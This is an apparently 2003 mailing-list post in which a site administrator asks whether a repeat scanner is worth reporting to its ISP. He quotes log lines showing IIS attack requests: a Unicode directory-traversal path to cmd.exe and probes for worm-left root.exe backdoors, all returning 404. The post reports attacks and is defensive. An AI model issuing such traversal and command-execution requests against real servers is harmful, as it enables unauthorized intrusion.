[ale] Abuse
Synban Administrator
admin at synban.com
Tue May 13 10:45:50 EDT 2003
Hey guys,
This is my first post to the list but I have been reading your messages
for a while. Here is my first question for you guys:
This guy has been running this script (or whatever he is running) for a
few months now. It is an everyday occurance and he is starting to get on
my nerves. I can do a reverse lookup on his IP and report him to his
ISP, but I don't know if he is worth it. Here are two lines from my log:
24.98.237.56 - - [13/May/2003:10:35:25 -0400] "GET
/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 304
24.98.237.56 - - [13/May/2003:10:35:24 -0400] "GET
/scripts/root.exe?/c+dir HTTP/1.0" 404 283
24.98.237.56 - - [13/May/2003:10:35:24 -0400] "GET
/MSADC/root.exe?/c+dir HTTP/1.0" 404 281
24.98.237.56 - - [13/May/2003:10:35:24 -0400] "GET
/c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 291
Yours,
Emil P. Man
admin at synban.com
_______________________________________________
Ale mailing list
Ale at ale.org
http://www.ale.org/mailman/listinfo/ale
More information about the Ale
mailing list